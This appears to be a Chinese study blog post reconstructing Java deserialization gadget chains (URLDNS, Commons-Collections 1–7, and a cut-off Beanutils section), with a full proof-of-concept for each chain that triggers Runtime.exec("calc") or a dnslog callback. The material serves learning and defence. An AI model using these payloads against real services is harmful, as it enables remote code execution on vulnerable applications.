重构java安全

URLDNS

  1. HashMapreadObject 方法可以调用到任何一个类的 hashCode 方法,只需要把拥有 hashCode 方法的对象当作键名添加进 HashMap 即可,比如我要通过 HashMap#readObject 调用 URL#hashCode,我只需要实例化一个URL对象比如为 urlObject,然后以对象为键名添加进 HashMapHashMap.put(urlObject,"ky0116")
  2. URL.handler 属性是transient 修饰的,按理是无法进行反序列化的,但是URL类编写了一个 readResolve 方法,这方法会重新创建出一个 URL 对象,然后替换已经反序列化出来的 URL 对象,而重新创建出来的 URL 对象是存在 handler 属性的!而在 readResolve 方法重新创建 URL 对象中关键是 URL.authority 属性指定我们的 dnslog 地址。跟一下 URL#readObject->URL#readResolve->URL#fabricateNewURL->URL#reconstituteUrlString链就知道了,这条链就是重新创建 URL 对象的过程!
  3. HashMap#put 会触发 dnslog,为了防止在构造时触发 dnslog 导致误判,这里可以先put一个URL对象进去,然后再反射对 hashCodeauthority 赋值
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

/*
* Gadget:
*   HashMap#readObject
*     URL#hashCode
*       URLStreamHandler#hashCode
*         URLStreamHandler#getHostAddress
*
* */

public class URLDNSPOC {
    public static void main(String[] args) throws Exception{
        URL url = new URL("http://");
        HashMap hashMap = new HashMap();
        hashMap.put(url,"h");
        reflectSetField(url,"hashCode",-1);  //经过 Hash.put 之后会对URL的hashCode值进行改变,此处要重新反射赋值
        reflectSetField(url,"authority","vyaz78.dnslog.cn");  //为了防止在构造POC时触发dnslog,这里先put一个URL对象再反射对authority赋值
        byte[] bytes = serializeObject(hashMap);
        unSerializeObject(bytes);
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }
}

commons-collections01

  1. InvokerTransformer#transform可以进行动态方法调用
  2. ConstantTransformer#transform返回一个实例对象
  3. ChainedTransformer#transform可以调用一连串transform方法
  4. AnnotationInvocationHandler#invoke方法可以调用到get方法
  5. 通过代理操作可以调用到AnnotationInvocationHandler#invoke方法
  6. 构造TransformedMap链时需要往HashMap实例中添加一个value键,为的是满足 if (var7 != null) 条件,Retention注解的memberTypes的键为value,所以HashMap元素的键需要是value
  7. 传入AnnotationInvocationHandler的注解需要存在memberTypes属性
  8. 通过AnnotationInvocationHandler#readObject方法的this.memberValues.entrySet().iterator().next().setValue()可以调用到TransformedMap#checkSetValue方法!但是存在条件6即第六点!
  9. commons-collections01链在 JDK8u71 之后无法再进行利用,原因是AnnotationInvocationHandler#readObject逻辑发生了改变!
  10. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!

疑问的地方:

  1. LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗?然而调试发现并不是从这个断点进入的命令执行,而是从 (Entry)var4.next() 方法进入的!
  2. TransformedMap链的HashMap实例需要存在value键,否则无法通过 if (var7 != null) 条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值还没深入分析!
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
*   AnnotationInvocationHandler#readObject
*     AnnotationInvocationHandler#invoke
*       LazyMap#get
*         ChainedTransformer#transform
*           ConstantTransformer#transform
*             InvokerTransformer#transform
* */
public class Collections01PocLazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        byte[] bytes = serializeObject(invocationHandler);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/*
 * Gadget:
 *   AnnotationInvocationHandler#readObject
 *     TransformedMap#setValue
 *       TransformedMap#checkSetValue
 *         ChainedTransformer#transform
 *           ConstantTransformer#transform
 *             InvokerTransformer#transform
 * */
public class Collections01PocTransformedMap {
    public static void main(String[] args) throws Exception{
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap hashMap = new HashMap();
        hashMap.put("value","ky0116");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        byte[] bytes = serializeObject(obj);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

commons-collections06

  1. commons-collections01因为AnnotationInvocationHandler#readObject的逻辑在JDK8U71之后发生了改变,导致无法在高版本下利用,而commons-collections06就解决了高版本无法利用的问题
  2. HashMap#readObject方法可以调用任意类的hashCode方法,在URLDNS也写过了
  3. TiedMapEntry#hashCode 可以调用任意类的get方法,只需要把 this,map 属性赋值为需要调用get方法的类对象即可
  4. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/*
 * Gadget:
 *   HashMap#readObject
 *     TiedMapEntry#hashCode
 *       TiedMapEntry#getValue
 *         LazyMap#get
 *           ChainedTransformer#transform
 *             ConstantTransformer#transform
 *             InvokerTransformer#transform
 * */
public class Collections06Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"ky0116");
        reflectSetField(tiedMapEntry,"map",lazyMap);
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        byte[] bytes = serializeObject(hashMap);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

commons-collections02

  1. TransformingComparator#compare可以调用到任意类的transform方法,配合PriorityQueue#readObject方法使用
  2. 直接操作PriorityQueue类queue[]属性无法把元素添加进PriorityQueue类,需要前面有add操作之后再对queue[]属性操作
  3. PriorityQueue.add 方法会触发transform方法,如果触发的是InvokerTransformer#transform方法,则需要往iMethodName属性赋值为toString,不至于在add时触发InvokerTransformer#transform方法动态调用然后找不到方法!
  4. TemplatesImpl#newTransformer 方法会对_bytecodes属性的字节码进行实例化,条件是_name属性不为空且_bytecodes属性的字节码对应的父类为AbstractTranslet类!
  5. 通过ClassPool动态创建一个恶意类,恶意类静态代码块存在恶意代码,利用TransformingComparator#compare调用InvokerTransformer#transform方法进行动态调用恶意类任意方法,这里调用到的恶意类是TemplatesImpl,调用到的方法是newTransformer
  6. commons-collections02在commons-collections依赖版本为4才可以用,因为在3版本中TransformingComparator没有首先Serializable接口,也就不可以进行序列化了!
  7. queue[]属性是transient修饰符修饰的,应该是无法进行序列化/反序列化的,但是这里PriorityQueue#readObject和PriorityQueue#writeObject方法进行了手工写入和读取queue[]属性
  8. 在高版本JDK中可以使用
package com.javasec.poc;

import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/*
 * Gadget:
 *   PriorityQueue#readObject
 *     TransformingComparator#compare
 *       InvokerTransformer#transform
 *         TemplatesImpl#newTransformer
 * */
public class Collections02Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
        //templatesImpl.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[]{},new Object[]{});
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(invokerTransformer));
        priorityQueue.add("1");
        priorityQueue.add("1");
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queue = (Object[]) field.get(priorityQueue);
        queue[0] = templatesImpl;
        queue[1] = "ky0116";
        reflectSetField(invokerTransformer,"iMethodName","newTransformer");
        byte[] bytes = serializeObject(priorityQueue);
        unSerializeObject(bytes);

    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }
}
====================================================================
package com.javasec.tools;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CtClass;

import java.lang.reflect.Field;

public class CreateTemplate {
    public static TemplatesImpl createTemplatesImpl() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Evil.class));
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        final CtClass clazzEvil = classPool.get(Evil.class.getName());
        clazzEvil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
        CtClass clazzAbstract = classPool.get(AbstractTranslet.class.getName());
        clazzEvil.setSuperclass(clazzAbstract);
        byte[] bytes = clazzEvil.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        reflectSetField(templates,"_name","ky0117");
        reflectSetField(templates,"_bytecodes",new byte[][]{bytes});
        return templates;
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}
======================================================================
package com.javasec.tools;

public class Evil{
}

commons-collections03

  1. InstantiateTransformer#transform方法可以实例化任意一个类,也就是可以调用Class#newInstance方法
  2. TrAXFilter类的构造方法可以调用到TemplatesImpl#newTransformer方法进而实例化_bytecodes恶意字节码对象触发静态代码块里的恶意代码!
  3. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
  4. 这条链是通过1链变化过来的,所以高版本JDK下也是用不了的
package com.javasec.poc;

import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
 * Gadget:
 *   AnnotationInvocationHandler#readObject
 *     AnnotationInvocationHandler#invoke
 *       LazyMap#get
 *         ChainedTransformer#transform
 *           ConstantTransformer#transform
 *             InstantiateTransformer#transform
 *               TrAXFilter#newInstance
 * */
public class Collections03Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        byte[] bytes = serializeObject(invocationHandler);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

commons-collections04

  1. 这条链是通过2链变化过来的,所以只能用于4版本的依赖,当然高版本下JDK可以使用
  2. 这里其实就是把2链的InvokerTransformer换为了ChainedTransformer,效果都是一样的就是调用TemplatesImpl#newTransformer方法!
package com.javasec.poc;

import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Collections04Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));
        priorityQueue.add("1");
        priorityQueue.add("1");
        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        Object[] queue = (Object[]) field.get(priorityQueue);
        queue[0] = templatesImpl;
        queue[1] = "ky0116";
        reflectSetField(chainedTransformer,"iTransformers",transformers);
        byte[] bytes = serializeObject(priorityQueue);
        unSerializeObject(bytes);
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }
}

commons-collections05

  1. 这条链跟commons-collections06链差不多,就是把BadAttributeValueExpException替换掉HashMap即可!
  2. 这条链在3、4版本依赖都可以使用
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

/*
 * Gadget:
 *   BadAttributeValueExpException#readObject
 *     TiedMapEntry#toString
 *       TiedMapEntry#getValue
 *         LazyMap#get
 *           ChainedTransformer#transform
 *             ConstantTransformer#transform
 *             InvokerTransformer#transform
 * */
public class Collections05Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        //Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), chainedTransformer);  //4版本的构造
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        reflectSetField(tiedMapEntry,"map",lazyMap);
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);
        byte[] bytes = serializeObject(badAttributeValueExpException);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

commons-collections07

  1. "yy".hashCode()=="zZ".hashCode(),Integer的hashCode方法返回值为数值本身
  2. 只需要构造HashTable的两个LazyMap的hash值相等则可以调用到AbstractMapDecorator#equals和AbstractMap#equals方法
  3. 构造相同hash的LazyMap时,LazyMap的HashMap不能put两个一样字符串为键的元素进去,因为这样的话反序列化Hashtable时获取到的elements值为1,则只调用一次reconstitutionPut方法,进而无法调用equeals方法,原因可以跟进一下Hashtable#put方法!
  4. 在HashTable#put完元素之后HashMap的lazyMap02的键会有两个,分别是 zZ/yy,需要手动移除yy键,保留原来的zZ键即可,如果不移除的话在AbstractMap#equals方法会满足 if (m.size() != size())条件直接返回。至于为什么会多了一个键,跟进一下AbstractMap#equals->LazyMap#get链就行
  5. 这条链在3/4版本的依赖都可以使用
package com.javasec.poc;

import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/*
 * Gadget:
 *   Hashtable#readObject
 *     AbstractMapDecorator#equals
 *       AbstractMap#equals
 *         LazyMap#get
 *           ChainedTransformer#transform
 *             ConstantTransformer#transform
 *             InvokerTransformer#transform
 * */
public class Collections07Poc {
    public static void main(String[] args) throws Exception{
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap hashMap01 = new HashMap();
        hashMap01.put("yy",1);
        HashMap hashMap02 = new HashMap();
        hashMap02.put("zZ",1);
//        LazyMap lazyMap01 = (LazyMap) LazyMap.decorate(hashMap01,chainedTransformer);
//        LazyMap lazyMap02 = (LazyMap) LazyMap.decorate(hashMap02,chainedTransformer);
        LazyMap lazyMap01 = LazyMap.lazyMap(hashMap01, chainedTransformer);
        LazyMap lazyMap02 = LazyMap.lazyMap(hashMap02, chainedTransformer);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap01,"ky01171");
        hashtable.put(lazyMap02,"ky01172");
        reflectSetField(chainedTransformer,"iTransformers",transformer);
        hashMap02.remove("yy");
        byte[] bytes = serializeObject(hashtable);
        unSerializeObject(bytes);
    }

    public static byte[] serializeObject(Object object) throws Exception{  //序列化对象
        ByteOutputStream byteOutputStream = new ByteOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);
        objectOutputStream.writeObject(object);
        byte[] bytes = byteOutputStream.toByteArray();
        byteOutputStream.close();
        objectOutputStream.close();
        return bytes;
    }

    public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
        byteArrayInputStream.close();
        objectInputStream.close();
    }

    public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

Beanutils

  1. BeanComparator#compare方法可以调用到任意一个类的getXXX方法
  2. TemplatesImpl#getOutputProperties方法可以调用到TemplatesImpl#newTransformer方法
  3. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用,可以在高版本JDK使用
package com.javasec.pocs;

import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
